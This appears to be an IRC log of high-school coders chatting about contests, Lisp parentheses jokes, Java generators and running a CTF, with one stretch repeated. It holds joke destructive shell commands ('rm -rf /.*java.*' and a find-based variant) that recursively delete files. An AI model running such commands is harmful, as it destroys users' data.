[2015-04-21T15:42:30-0400] <+awe> Scale of 1 - 11: how dank?
[2015-04-21T15:44:17-0400] <+awe> z3t: did you send everyone in the channel a message with awebot or something?
[2015-04-21T17:03:18-0400] <ubuntor> JacobEdelman: which one?
[2015-04-21T17:25:03-0400] Mode is +nrt
[2015-04-21T17:32:32-0400] <JacobEdelman> ubuntor: purple comet
[2015-04-21T17:33:12-0400] <Tamini> oh you do purple comet
[2015-04-21T17:33:13-0400] <Tamini> :P
[2015-04-21T17:33:22-0400] <Tamini> i almost got roped into doing it with a bunch of freshmen
[2015-04-21T17:33:27-0400] <Tamini> but then i realized they were /freshmen/
[2015-04-21T17:34:22-0400] <JacobEdelman> lol
[2015-04-21T17:34:38-0400] <JacobEdelman> they allow you to write programs apparentely
[2015-04-21T17:34:41-0400] <JacobEdelman> program_bashing++
[2015-04-21T17:34:42-0400] <Tamini> they do!
[2015-04-21T17:34:46-0400] <Tamini> tis greag
[2015-04-21T17:34:51-0400] <Tamini> great*
[2015-04-21T17:34:59-0400] <Tamini> but apparently a usaco camper failed2implement stuff
[2015-04-21T17:35:00-0400] <Tamini> so
[2015-04-21T17:35:03-0400] <JacobEdelman> lol
[2015-04-21T17:35:10-0400] <JacobEdelman> I got a problem brice didn't
[2015-04-21T17:35:17-0400] <JacobEdelman> cause python
[2015-04-21T17:35:36-0400] <JacobEdelman> (I wanted to do some algebra in python but couldn't get minimization to work for multiple variable equations)
[2015-04-21T17:35:42-0400] <JacobEdelman> (sympy is hard)
[2015-04-21T17:36:19-0400] <Tamini> lol
[2015-04-21T17:36:35-0400] <Tamini> uuugh
[2015-04-21T17:36:39-0400] <Tamini> i have a song stuck in my head
[2015-04-21T17:36:43-0400] <Tamini> except i remember 0 lyrics
[2015-04-21T17:36:56-0400] <Tamini> just pieces of the melody
[2015-04-21T17:37:22-0400] <jwoglom> that's always annoying
[2015-04-21T17:37:36-0400] <jwoglom> especially because like shazam and such won't work and you can't google anything
[2015-04-21T17:40:09-0400] <ubuntor> JacobEdelman: SCIP!
[2015-04-21T17:42:12-0400] <+awe> SICP*
[2015-04-21T17:42:37-0400] <+awe> The answer is always lisp, ubuntor.
[2015-04-21T17:42:56-0400] <ubuntor> lots of irritating stupid parens
[2015-04-21T17:43:25-0400] <+awe> (ubuntor () () () ((())))
[2015-04-21T17:45:16-0400] <ubuntor> (((((((((((((((((((
[2015-04-21T17:48:13-0400] <+awe> Ow.
[2015-04-21T18:07:52-0400] <JacobEdelman> AHHHHHHHHHHHHHHHHHHHHHHHHH
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[2015-04-21T18:08:55-0400] <jwoglom> )))))))))))))))))))
[2015-04-21T18:08:57-0400] <jwoglom> pls
[2015-04-21T18:09:34-0400] <JacobEdelman> thank you
[2015-04-21T18:15:56-0400] <ubuntor> but you can also look at each line separately :)
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[2015-04-21T19:35:20-0400] <LittleBobbyTables> ))))))))))))))))))))))))))))))))))))))))))
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[2015-04-21T19:55:29-0400] <ubuntor> (
[2015-04-21T19:56:47-0400] <bob_twinkles> )
[2015-04-21T19:57:16-0400] <jwoglom> ()
[2015-04-21T19:57:25-0400] <JacobEdelman> ....
[2015-04-21T19:58:24-0400] <bob_twinkles> invalid syntax
[2015-04-21T20:05:16-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=U1SiveWVIIo
[2015-04-21T20:23:34-0400] <ubuntor> )(
[2015-04-21T20:23:34-0400] <+awebot> ubuntor: 26 minutes ago, kenzierocks said ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((.
[2015-04-21T20:23:45-0400] <ubuntor> ...
[2015-04-21T20:23:53-0400] <LittleBobbyTables> rekt
[2015-04-21T20:24:07-0400] <ubuntor> better add a few more, just to be safe
[2015-04-21T20:24:08-0400] <ubuntor> (((((((((
[2015-04-21T20:24:16-0400] <assface> can we repair the rekage?
[2015-04-21T20:24:27-0400] <jwoglom> ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
[2015-04-21T20:24:39-0400] <jwoglom> )))))))))
[2015-04-21T20:24:43-0400] <jwoglom> i feel like this might warrant a bot
[2015-04-21T20:24:46-0400] <kenzierocks> {[{[{[{[{[[[[{[{[{[{[{[{[{[{([{[{
[2015-04-21T20:24:53-0400] <kenzierocks> <<<<<<<
[2015-04-21T20:25:01-0400] <ubuntor> ([)]
[2015-04-21T20:33:57-0400] <LittleBobbyTables> JacobEdelman: my text, that's how it currently works
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[2015-04-21T20:52:09-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-21T17:35:18-0400] <JacobEdelman> cause python
[2015-04-21T17:35:36-0400] <JacobEdelman> (I wanted to do some algebra in python but couldn't get minimization to work for multiple variable equations)
[2015-04-21T17:35:42-0400] <JacobEdelman> (sympy is hard)
[2015-04-21T17:36:19-0400] <Tamini> lol
[2015-04-21T17:36:35-0400] <Tamini> uuugh
[2015-04-21T17:36:39-0400] <Tamini> i have a song stuck in my head
[2015-04-21T17:36:43-0400] <Tamini> except i remember 0 lyrics
[2015-04-21T17:36:56-0400] <Tamini> just pieces of the melody
[2015-04-21T17:37:23-0400] <jwoglom> that's always annoying
[2015-04-21T17:37:36-0400] <jwoglom> especially because like shazam and such won't work and you can't google anything
[2015-04-21T17:40:09-0400] <ubuntor> JacobEdelman: SCIP!
[2015-04-21T17:42:12-0400] <+awe> SICP*
[2015-04-21T17:42:37-0400] <+awe> The answer is always lisp, ubuntor.
[2015-04-21T17:42:56-0400] <ubuntor> lots of irritating stupid parens
[2015-04-21T17:43:26-0400] <+awe> (ubuntor () () () ((())))
[2015-04-21T17:45:16-0400] <ubuntor> (((((((((((((((((((
[2015-04-21T17:48:13-0400] <+awe> Ow.
[2015-04-21T18:07:52-0400] <JacobEdelman> AHHHHHHHHHHHHHHHHHHHHHHHHH
[2015-04-21T18:08:55-0400] <jwoglom> )))))))))))))))))))
[2015-04-21T18:08:57-0400] <jwoglom> pls
[2015-04-21T18:09:34-0400] <JacobEdelman> thank you
[2015-04-21T18:15:56-0400] <ubuntor> but you can also look at each line separately :)
[2015-04-21T19:35:20-0400] <LittleBobbyTables> ))))))))))))))))))))))))))))))))))))))))))
[2015-04-21T19:55:29-0400] <ubuntor> (
[2015-04-21T19:56:47-0400] <bob_twinkles> )
[2015-04-21T19:57:16-0400] <jwoglom> ()
[2015-04-21T19:57:25-0400] <JacobEdelman> ....
[2015-04-21T19:58:24-0400] <bob_twinkles> invalid syntax
[2015-04-21T20:05:16-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=U1SiveWVIIo
[2015-04-21T20:23:34-0400] <ubuntor> )(
[2015-04-21T20:23:34-0400] <+awebot> ubuntor: 26 minutes ago, kenzierocks said ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((.
[2015-04-21T20:23:45-0400] <ubuntor> ...
[2015-04-21T20:23:53-0400] <LittleBobbyTables> rekt
[2015-04-21T20:24:07-0400] <ubuntor> better add a few more, just to be safe
[2015-04-21T20:24:08-0400] <ubuntor> (((((((((
[2015-04-21T20:24:16-0400] <assface> can we repair the rekage?
[2015-04-21T20:24:27-0400] <jwoglom> ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
[2015-04-21T20:24:39-0400] <jwoglom> )))))))))
[2015-04-21T20:24:43-0400] <jwoglom> i feel like this might warrant a bot
[2015-04-21T20:24:46-0400] <kenzierocks> {[{[{[{[{[[[[{[{[{[{[{[{[{[{([{[{
[2015-04-21T20:24:53-0400] <kenzierocks> <<<<<<<
[2015-04-21T20:25:01-0400] <ubuntor> ([)]
[2015-04-21T20:33:56-0400] <LittleBobbyTables> JacobEdelman: my text, that's how it currently works
[2015-04-21T20:37:43-0400] <bob_twinkles> }]}]}]}]}]]]]}]}]}]}]}]}]}]}])]}]} >>>>>>>
[2015-04-21T20:37:55-0400] <jwoglom> thank you bob_twinkles 
[2015-04-21T20:38:00-0400] <bob_twinkles> np
[2015-04-21T20:38:03-0400] <jwoglom> you have done a good deed
[2015-04-21T20:38:13-0400] <kenzierocks> 1!!11!1!!!!!!1!1!1!1!
[2015-04-21T20:40:20-0400] <LittleBobbyTables> [[{[{{[{{{[{[{{{[{{{((([[[(([[{{{[[{((([[[({({[[{{{((([[[{{{(((<<[[
[2015-04-21T20:40:38-0400] • bob_twinkles: prepares some automation
[2015-04-21T20:52:10-0400] Mode is +nrt
[2015-04-21T20:56:25-0400] <bob_twinkles> ]]>>)))}}}]]])))}}}]]})})]]])))}]]}}}]]))]]])))}}}]}}}]}]}}}]}}]}]]
[2015-04-21T20:56:53-0400] <kenzierocks> [][[][][][][][][]]]][]][][]]]][][]]}{}{][]]}{][]{][}]][}{}}[]][}]][]]}]]{][]
[2015-04-21T20:57:52-0400] <bob_twinkles> this is going to be like an increasingly difficult CS class assignment isn't it
[2015-04-21T20:58:26-0400] <kenzierocks> yep!
[2015-04-21T20:59:17-0400] <ubuntor> ][
[2015-04-21T21:00:00-0400] <ubuntor> s/^/apple /
[2015-04-21T21:00:12-0400] <kenzierocks> 2^2
[2015-04-21T21:00:16-0400] <kenzierocks> 2apple 2
[2015-04-21T21:00:31-0400] <kenzierocks> oh you're regexin
[2015-04-21T21:00:36-0400] <kenzierocks> apple][
[2015-04-21T21:03:06-0400] <ubuntor> problem: find the string with the smallest levenshtein distance to the given string so that all grouping characters are closed properly
[2015-04-21T21:04:42-0400] <bob_twinkles> }}
[2015-04-21T21:06:01-0400] <bob_twinkles> ^ ignoring extra close brackets, and only collapsing open/close pairs that are in the proper order
[2015-04-21T21:06:38-0400] • kenzierocks: is resisting the temptation to send a max character length one
[2015-04-21T21:07:48-0400] <+awe>  /ban kenzierocks
[2015-04-21T21:09:41-0400] <kenzierocks> exactly
[2015-04-21T21:09:41-0400] <bob_twinkles> pastebin it =P
[2015-04-21T21:09:41-0400] <kenzierocks> or nah
[2015-04-21T21:09:41-0400] <bob_twinkles> meh
[2015-04-21T21:09:41-0400] • kenzierocks: is still trying to implement generators in java
[2015-04-21T21:09:41-0400] <bob_twinkles> have fun w/ that
[2015-04-21T21:09:41-0400] <bob_twinkles> actually... using an Iterator?
[2015-04-21T21:09:41-0400] <kenzierocks> what about the coruotine part...
[2015-04-21T21:09:41-0400] <kenzierocks> what about send(), throw(), close()
[2015-04-21T21:09:58-0400] <bob_twinkles> are those part of generators?
[2015-04-21T21:09:58-0400] <kenzierocks> yep
[2015-04-21T21:10:09-0400] <kenzierocks> https://docs.python.org/3/reference/expressions.html#yieldexpr
[2015-04-21T21:10:37-0400] <kenzierocks> ...oh crap
[2015-04-21T21:10:42-0400] <kenzierocks> futures are /perfect/ for this
[2015-04-21T21:11:35-0400] <bob_twinkles> doesn't seem too bad reallay
[2015-04-21T21:11:36-0400] <bob_twinkles> *really
[2015-04-21T21:11:50-0400] <kenzierocks> it's the whole state preserving thing
[2015-04-21T21:12:20-0400] <kenzierocks> i /think/ it has to be done with another thread...
[2015-04-21T21:12:24-0400] <kenzierocks> but maybe not
[2015-04-21T21:13:02-0400] <bob_twinkles> it's just java.util.Iterator that keeps one E as state
[2015-04-21T21:13:16-0400] <kenzierocks> i'm thinkin
[2015-04-21T21:13:31-0400] <kenzierocks> how do you implement send then?
[2015-04-21T21:14:12-0400] <bob_twinkles> this.nextValue = arg
[2015-04-21T21:14:21-0400] <kenzierocks> ..what?
[2015-04-21T21:14:28-0400] <kenzierocks> you do understand send right
[2015-04-21T21:14:34-0400] <kenzierocks> it returns to the /generator function/
[2015-04-21T21:14:41-0400] <kenzierocks> not makes it the next valuye
[2015-04-21T21:15:07-0400] <bob_twinkles> oh huh, that is harder
[2015-04-21T21:15:11-0400] <bob_twinkles> I don't even think you can do that in java
[2015-04-21T21:15:19-0400] <kenzierocks> exactly.
[2015-04-21T21:15:41-0400] <kenzierocks> this is why we need another thread i think
[2015-04-21T21:15:48-0400] <bob_twinkles> how would another thread help you here?
[2015-04-21T21:16:00-0400] <kenzierocks> ...let me diagram
[2015-04-21T21:16:24-0400] <bob_twinkles> I don't think there's a mechanism for changing the execution location of a thread
[2015-04-21T21:16:27-0400] <JacobEdelman> kenzierocks: my advice is simple
[2015-04-21T21:17:00-0400] <JacobEdelman>  Rm -rf /.*java.*
[2015-04-21T21:17:15-0400] <bob_twinkles> * rm -rf $(find -iname '*.java')
[2015-04-21T21:17:17-0400] <bob_twinkles> pls JacobEdelman 
[2015-04-21T21:17:29-0400] <JacobEdelman> !#
[2015-04-21T21:17:45-0400] <JacobEdelman> *#!
[2015-04-21T21:18:09-0400] <kenzierocks> https://gist.github.com/kenzierocks/8b63a053a7a580c7398c
[2015-04-21T21:19:05-0400] <bob_twinkles> I don't see how that's really much different from my solution, you're still not returning back in to the generator function
[2015-04-21T21:19:13-0400] <kenzierocks> ...yes i am
[2015-04-21T21:19:26-0400] <kenzierocks> the generator function never exits until it's done
[2015-04-21T21:19:28-0400] <kenzierocks> then we can check a.isRunning()
[2015-04-21T21:19:55-0400] <kenzierocks> yield holds "a" at it's current point
[2015-04-21T21:20:01-0400] <kenzierocks> "saving" the current state
[2015-04-21T21:20:25-0400] <bob_twinkles> I mean, it makes writting the  code a bit closer to how the python code would work
[2015-04-21T21:20:33-0400] <bob_twinkles> my way basically means you'd have to lift any state to the class level
[2015-04-21T21:21:00-0400] <kenzierocks> that's hard to do
[2015-04-21T21:21:00-0400] <bob_twinkles> but beyond that you don't gain any additional syntactic sugar or anything + with that approach  you need to threads
[2015-04-21T21:21:27-0400] <kenzierocks> automatically lifting the state out of a method is nearly impossible to always get right
[2015-04-21T21:21:47-0400] <kenzierocks> i'd have to detect where variables fall out of scope and reset them
[2015-04-21T21:22:27-0400] <bob_twinkles> ah, I see
[2015-04-21T21:22:51-0400] <kenzierocks> with my approach it happens as i would normally compile python->java
[2015-04-21T21:24:06-0400] <bob_twinkles> I was thinking just "how do you get a generator-like thing in Java" not "how do you compile python to java"
[2015-04-21T21:24:12-0400] <kenzierocks> ah, i'm completely doing the latter
[2015-04-21T21:27:24-0400] <kenzierocks> ...the only way i can think of doing this without another thread is horrid bytecode hacks
[2015-04-21T21:27:52-0400] <bob_twinkles> !s/horrid/fun/
[2015-04-21T21:28:02-0400] <bob_twinkles> bytecode patching is gr8
[2015-04-21T21:28:06-0400] <Tamini> "fun"
[2015-04-21T21:28:09-0400] <kenzierocks> or...an annotation processor
[2015-04-21T21:28:15-0400] <kenzierocks> that could be done
[2015-04-21T21:51:16-0400] <+awe> JacobEdelman: how come Ezra doesn't hang out here anymore?
[2015-04-21T21:54:04-0400] <JacobEdelman> Eh, he's busy I guess
[2015-04-21T21:54:07-0400] <JacobEdelman> Idk
[2015-04-21T21:54:14-0400] <JacobEdelman> Right now he's sick
[2015-04-21T22:04:14-0400] <+awe> Aw, poor bby.
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[2015-04-22T07:25:39-0400] <JacobEdelman> gmorning all
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[2015-04-22T08:59:55-0400] <apothy> awe: CStern asks "So what's Weiss doing right now?" :P
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[2015-04-22T11:19:39-0400] <+awe> apothy: I was sleeping.
[2015-04-22T11:27:37-0400] <apothy> We guessed right!
[2015-04-22T11:28:08-0400] <apothy> We thought you were in class or sleeping
[2015-04-22T11:28:13-0400] <apothy> And went with sleeping XD
[2015-04-22T11:30:23-0400] <+awe> >me
[2015-04-22T11:30:25-0400] <+awe> >9ams
[2015-04-22T11:30:25-0400] <+awe> lol
[2015-04-22T11:30:47-0400] <+awe> Next year, I'll have my earliest class ever at 9:05 am.
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[2015-04-22T15:56:23-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-22T14:22:26-0400] <JacobEdelman> we could do what cctf did I think
[2015-04-22T14:22:31-0400] <JacobEdelman> we have about the same amount of money
[2015-04-22T14:22:50-0400] <JacobEdelman> do you think people would prefer for the prizes to be more top heavy like that?
[2015-04-22T14:37:06-0400] <Hyper> JacobEdelman: no
[2015-04-22T14:37:15-0400] <Hyper> only the top people are happy with top heavy prizes
[2015-04-22T14:37:53-0400] <Hyper> you want to distribute it a bit more so as few of the high-scoring teams as possible feel like they got the shit end of the stick
[2015-04-22T14:39:32-0400] <JacobEdelman> even if we only have ~1000 dollars?
[2015-04-22T14:39:46-0400] <Hyper> sure
[2015-04-22T14:39:57-0400] <JacobEdelman> okay, will keep in mind
[2015-04-22T14:40:38-0400] <z3t> JacobEdelman: don't listen to him
[2015-04-22T14:40:45-0400] <z3t> he's just mad he never gets 1st in a CTF
[2015-04-22T14:42:55-0400] <Hyper> z3t: i've only competed in 1 ctf for srs so lol
[2015-04-22T14:46:16-0400] <fwilson> i got first in a CTF twice
[2015-04-22T14:46:20-0400] <fwilson> i got "priority internship consideration"
[2015-04-22T14:46:32-0400] <fwilson> DYK that "priority" means "we'll email you in nine months"
[2015-04-22T15:05:51-0400] <JacobEdelman> fwilson: I should just give myself first in hsctf
[2015-04-22T15:05:58-0400] <JacobEdelman> just for the cred it would give me
[2015-04-22T15:05:58-0400] <JacobEdelman> :P
[2015-04-22T15:14:35-0400] <fwilson> do it
[2015-04-22T15:29:07-0400] <JacobEdelman> lol
[2015-04-22T15:29:12-0400] <JacobEdelman> nah, 0th is so much better
[2015-04-22T15:29:42-0400] <Hyper> JacobEdelman: gimme project idea
[2015-04-22T15:29:59-0400] <Hyper> i'm having a block rn
[2015-04-22T15:30:37-0400] <JacobEdelman> make a high level programing language that runs on the gpu
[2015-04-22T15:30:55-0400] <JacobEdelman> or a programing lang/module such that programs can be easily stopped and their state saved
[2015-04-22T15:31:10-0400] <Hyper> goddammit last time I'm asking you for ideas
[2015-04-22T15:31:15-0400] <JacobEdelman> wat
[2015-04-22T15:31:19-0400] <JacobEdelman> they are not that bad
[2015-04-22T15:31:21-0400] <JacobEdelman> make a ducl
[2015-04-22T15:31:23-0400] <JacobEdelman> *duck
[2015-04-22T15:31:25-0400] <JacobEdelman> that is cyber
[2015-04-22T15:31:34-0400] <Hyper> wat
[2015-04-22T15:31:38-0400] <JacobEdelman> wat?
[2015-04-22T15:31:39-0400] <z3t> I just got perm banned from XBL :(
[2015-04-22T15:31:49-0400] <Hyper> z3t: what'd you do?
[2015-04-22T15:31:53-0400] <Hyper> did you fuck some guy's mother?
[2015-04-22T15:31:55-0400] <z3t> Apparently "Account Theft"
[2015-04-22T15:31:59-0400] <JacobEdelman> make an irc bot that uses machine learnign to detect when people would say wat
[2015-04-22T15:32:03-0400] <JacobEdelman> and automaticaly says wat
[2015-04-22T15:32:32-0400] <JacobEdelman> Hyper: inb4 this isn't actually z3t but somebody who stole his account
[2015-04-22T15:32:34-0400] <JacobEdelman> :P
[2015-04-22T15:32:37-0400] <Hyper> heh
[2015-04-22T15:32:45-0400] <Hyper> reverse account theft!
[2015-04-22T15:33:47-0400] <JacobEdelman> lol
[2015-04-22T15:33:53-0400] <JacobEdelman> wait,wat?
[2015-04-22T15:36:06-0400] <z3t> I've spent roughly $300 on XBL subscriptions for the account, so I'm not happy.
[2015-04-22T15:36:44-0400] <z3t> And I actually haven't participated in "Account Theft".
[2015-04-22T15:37:07-0400] <JacobEdelman> appeal
[2015-04-22T15:37:32-0400] <z3t> Customer support can't do anything about it, and the only way to appeal is on the forums.
[2015-04-22T15:37:40-0400] <z3t> Which they kindly banned me from aswell.
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[2015-04-22T19:32:15-0400] <LittleBobbyTables> sucks to suck
[2015-04-22T19:33:19-0400] <fwilson> danks to meme
[2015-04-22T19:33:25-0400] <LittleBobbyTables> JacobEdelman: Can I get a tshirt?
[2015-04-22T19:42:45-0400] <LittleBobbyTables> There was this "hiring event" at school today, bunch of companies came over and were like "yo work for us". FBI, Lockheed Martin, Panda Express, etc. Everyone had a table cloth and big signs advertising them, except for Starbucks.
[2015-04-22T19:43:07-0400] <LittleBobbyTables> Their advertising was a piece of printer paper handwritten that said "Starbucks!"
[2015-04-22T19:48:00-0400] <fwilson> >panda express
[2015-04-22T19:48:10-0400] <fwilson> >starbucks
[2015-04-22T19:48:14-0400] <fwilson> >next to fbi and lockheed martin
[2015-04-22T19:48:14-0400] <LittleBobbyTables> Just showing you what sort of companies there were.
[2015-04-22T19:48:16-0400] <fwilson> ok
[2015-04-22T19:48:22-0400] <fwilson> yeah ik, i was kidding :p
[2015-04-22T19:48:25-0400] <LittleBobbyTables> :P
[2015-04-22T19:48:33-0400] <Tamini> bob_twinkles: did you work on stuff yet :O
[2015-04-22T19:48:34-0400] <LittleBobbyTables> I mean, if I had said just FBI, Lockheed Matin, etc...
[2015-04-22T19:48:42-0400] <LittleBobbyTables> It would have gone differently lol
[2015-04-22T19:49:27-0400] <bob_twinkles> tamini: I really just wanted to learn TeX better
[2015-04-22T19:49:40-0400] <bob_twinkles> so now I'm reading the 880 page TikZ programming guide
[2015-04-22T19:49:43-0400] <Tamini> you should solve the problem while you're at it
[2015-04-22T19:49:45-0400] <Tamini> :)
[2015-04-22T19:49:48-0400] <bob_twinkles> lol no
[2015-04-22T19:49:50-0400] <bob_twinkles> calculus is hard
[2015-04-22T19:49:52-0400] <Tamini> lol yes
[2015-04-22T19:49:53-0400] <Tamini> pleeease
[2015-04-22T19:50:03-0400] <bob_twinkles> I might after I get some graphix
[2015-04-22T19:50:09-0400] <bob_twinkles> I'm only on page 9 though
[2015-04-22T19:50:50-0400] <Tamini> lol ok
[2015-04-22T19:51:01-0400] <Tamini> ill go do amt then
[2015-04-22T20:03:15-0400] <JacobEdelman> LittleBobbyTables: you can have a T-shirt if you pay like everybody else
[2015-04-22T20:03:26-0400] <LittleBobbyTables> I did pay
[2015-04-22T20:03:52-0400] <JacobEdelman> For hsctf....
[2015-04-22T20:07:46-0400] <LittleBobbyTables> Uhhh, no?
[2015-04-22T20:13:26-0400] <+awe> [15:30:37]  <JacobEdelman>	make a high level programing language that runs on the gpu
[2015-04-22T20:13:26-0400] <+awe> [15:30:55]  <JacobEdelman>	or a programing lang/module such that programs can be easily stopped and their state saved
[2015-04-22T20:13:26-0400] <+awe> [15:31:10]  <Hyper>	goddammit last time I'm asking you for ideas
[2015-04-22T20:13:28-0400] <+awe> Hyper: Right?
[2015-04-22T20:13:51-0400] <fwilson> vvvvvv no death mode, attempt number 40
[2015-04-22T20:14:53-0400] <fwilson> and i died.
[2015-04-22T20:14:57-0400] <fwilson> 1:02
[2015-04-22T20:14:58-0400] <fwilson> not bad
[2015-04-22T20:15:45-0400] <z3t> u suck
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[2015-04-23T02:11:39-0400] <LittleBobbyTables> this guy
[2015-04-23T02:11:44-0400] <LittleBobbyTables> is wanting to flag share with me
[2015-04-23T02:11:46-0400] <LittleBobbyTables> in #cctf
[2015-04-23T02:22:16-0400] <+awe> LittleBobbyTables: das ban hammah
[2015-04-23T02:22:34-0400] <LittleBobbyTables> awe: he's going to give me a flag first
[2015-04-23T02:22:45-0400] <LittleBobbyTables> what should I say after that
[2015-04-23T02:22:53-0400] <+awe> Report him to the FBI
[2015-04-23T02:22:57-0400] <+awe> Duh.
[2015-04-23T02:23:24-0400] <LittleBobbyTables> what should I say to him lol
[2015-04-23T02:23:32-0400] <LittleBobbyTables> since I'm voice in #cctf
[2015-04-23T02:23:51-0400] <+awe> LittleBobbyTables: related: we talked about Prisoner's Dilemma in my probability class, and my professor asked at the beginning if anyone would rat out their friend.
[2015-04-23T02:23:59-0400] <LittleBobbyTables> I totally would
[2015-04-23T02:24:03-0400] <+awe> LittleBobbyTables: When he said this, the room was fairly quite, and I said "snitches get stitches."
[2015-04-23T02:24:09-0400] <+awe> quiet*
[2015-04-23T02:24:10-0400] <LittleBobbyTables> I totally would
[2015-04-23T02:24:14-0400] <+awe> Wow, seriously?
[2015-04-23T02:24:17-0400] <+awe> You're a snitch?
[2015-04-23T02:24:23-0400] <LittleBobbyTables> Why wouldn't you?
[2015-04-23T02:24:48-0400] <LittleBobbyTables> all of my friends would do the same, so fuck them they're getting a longer sentence as well
[2015-04-23T02:24:51-0400] <+awe> It's the number one rule! You don't snitch!
[2015-04-23T02:25:02-0400] <+awe> You have some lousy friends if they'd snitch on you.
[2015-04-23T02:25:19-0400] <+awe> I can count on the fact that alokpathy would not snitch on me.
[2015-04-23T02:25:46-0400] <+awe> Because alokpathy knows the golden rule.
[2015-04-23T02:26:46-0400] <LittleBobbyTables> my friends are dicks
[2015-04-23T02:26:55-0400] <LittleBobbyTables> there's maybe one friend that wouldn't snitch on me
[2015-04-23T02:27:10-0400] <+awe> https://www.youtube.com/watch?v=73q9SBgcOYE
[2015-04-23T02:27:50-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=UrgpZ0fUixs
[2015-04-23T02:30:04-0400] <+awe> LittleBobbyTables: "In reality, humans display a systematic bias towards cooperative behavior in this and similar games, much more so than predicted by simple models of "rational" self-interested action."
[2015-04-23T02:31:04-0400] <LittleBobbyTables> "I like to park in handicapped spaces while handicapped people make handicapped faces"
[2015-04-23T02:32:56-0400] <LittleBobbyTables> bed time for me
[2015-04-23T02:32:58-0400] <LittleBobbyTables> night awe
[2015-04-23T02:33:10-0400] <+awe> Good night, LittleBobbyTables.
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[2015-04-23T07:17:17-0400] <JacobEdelman> Gmorning all
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[2015-04-23T09:53:53-0400] <nickthename> snitches get stitches, shout out to lelo
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[2015-04-23T10:23:29-0400] <apothy> -+
[2015-04-23T10:34:57-0400] <apothy> oopd
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[2015-04-23T19:45:25-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-23T15:51:07-0400] <JacobEdelman> arn't you Hypersonic?
[2015-04-23T15:51:39-0400] <JacobEdelman> wait, gah!
[2015-04-23T15:51:44-0400] <JacobEdelman> github nicknames are case sensitive
[2015-04-23T15:51:51-0400] <JacobEdelman> which are you, Hypersonic or hypersonic?
[2015-04-23T15:52:23-0400] <JacobEdelman> wait
[2015-04-23T15:52:29-0400] <JacobEdelman> github names are not case sensnitve
[2015-04-23T15:52:58-0400] <JacobEdelman> http://ismycodegood.com/#Hypersonic
[2015-04-23T15:53:18-0400] <JacobEdelman> http://ismycodegood.com/#hypersonic
[2015-04-23T15:53:21-0400] <JacobEdelman> diff scores
[2015-04-23T17:54:26-0400] <fwilson> Thoughtfulness of Names: F
[2015-04-23T17:54:50-0400] <fwilson> sdamashek: Googling for Answers: C-
[2015-04-23T17:55:27-0400] <sdamashek> lol
[2015-04-23T17:55:35-0400] <sdamashek> Commit Message Clarity: A+
[2015-04-23T17:55:38-0400] <sdamashek> Googling for Answers: F
[2015-04-23T17:55:54-0400] <fwilson> :D
[2015-04-23T17:56:31-0400] <bob_twinkles> apparently I fail in the "Pairing — Navigation" category
[2015-04-23T17:56:34-0400] <bob_twinkles> I have no idea what that is
[2015-04-23T17:56:40-0400] <fwilson> ikr
[2015-04-23T17:59:20-0400] <sdamashek> JacobEdelman: you know they probably just seed a random generator with the hash of the github username lol
[2015-04-23T17:59:41-0400] <sdamashek> I don't think they actually do any analysis
[2015-04-23T18:00:18-0400] <z3t> yeah I don't have any contributions on my account and
[2015-04-23T18:00:20-0400] <z3t> http://puu.sh/hov9G/c49ca91257.png
[2015-04-23T18:00:53-0400] <fwilson> yeah lol
[2015-04-23T18:01:06-0400] <fwilson> i was going to say
[2015-04-23T18:01:19-0400] <fwilson> "googling for answers" how do you analyze that
[2015-04-23T18:05:29-0400] <fwilson> hey, do you guys like graphs?
[2015-04-23T18:05:56-0400] <fwilson> you guys must like graphs
[2015-04-23T18:06:04-0400] <fwilson> https://i.imgur.com/QzsqL0D.png here's a cool graph
[2015-04-23T18:06:26-0400] <fwilson> er, that's the wrong label on the left axis
[2015-04-23T18:06:26-0400] <ubuntor> purple comet done :D
[2015-04-23T18:07:03-0400] <fwilson> https://i.imgur.com/1emAaOO.png THERE it is
[2015-04-23T18:12:10-0400] <z3t> anyone experienced with php that I can ask a question
[2015-04-23T18:24:58-0400] <bob_twinkles> jwoglom: ^
[2015-04-23T18:27:48-0400] <z3t> ...that moment you realize it's your birthday and nobody in your family has said anything
[2015-04-23T18:44:23-0400] <fwilson> z3t: happy birthday!
[2015-04-23T18:44:36-0400] <fwilson> and i'm ok with php
[2015-04-23T18:47:08-0400] <z3t> thanks
[2015-04-23T18:51:18-0400] <jwoglom> Lol maybe
[2015-04-23T18:51:36-0400] <jwoglom> A bit busy right now, talking to incoming freshman
[2015-04-23T19:41:29-0400] <alokpathy> z3t: Happy birthday!
[2015-04-23T19:41:29-0400] <+awebot> alokpathy: 2 days ago, kenzierocks said stop stealin praise.
[2015-04-23T19:41:29-0400] <+awebot> alokpathy: 2 days ago, kenzierocks said stop stealin praise.
[2015-04-23T19:41:29-0400] <+awebot> alokpathy: 2 days ago, kenzierocks said stop stealin praise.
[2015-04-23T19:41:29-0400] <+awebot> alokpathy: 2 days ago, kenzierocks said stop stealin praise.
[2015-04-23T19:41:29-0400] <+awebot> alokpathy: 2 days ago, kenzierocks said stop stealin praise.
[2015-04-23T19:41:33-0400] <alokpathy> ...
[2015-04-23T19:41:35-0400] <alokpathy> wat
[2015-04-23T19:41:39-0400] <alokpathy> What praise?
[2015-04-23T19:41:42-0400] <alokpathy> 2 days ago???
[2015-04-23T19:43:06-0400] <bob_twinkles> what even is the trigger for that
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[2015-04-23T19:48:59-0400] <alokpathy> I have to talk
[2015-04-23T19:49:01-0400] <alokpathy> but like
[2015-04-23T19:49:02-0400] <alokpathy> I spoke last night
[2015-04-23T19:49:21-0400] <alokpathy> kenzierocks: wat iz dis n0ns3ns3
[2015-04-23T19:51:45-0400] <LittleBobbyTables> alokpathy: were you on alokpathy or apothy?
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[2015-04-23T21:44:40-0400] <z3t> I don't like how ICANN allows any whoisguard
[2015-04-23T21:44:46-0400] <sdamashek> wait, 417 Associated Rd actually exists
[2015-04-23T21:44:47-0400] <LittleBobbyTables> It allows whoisguard
[2015-04-23T21:44:48-0400] <sdamashek> lol
[2015-04-23T21:44:53-0400] <sdamashek> yeah I know
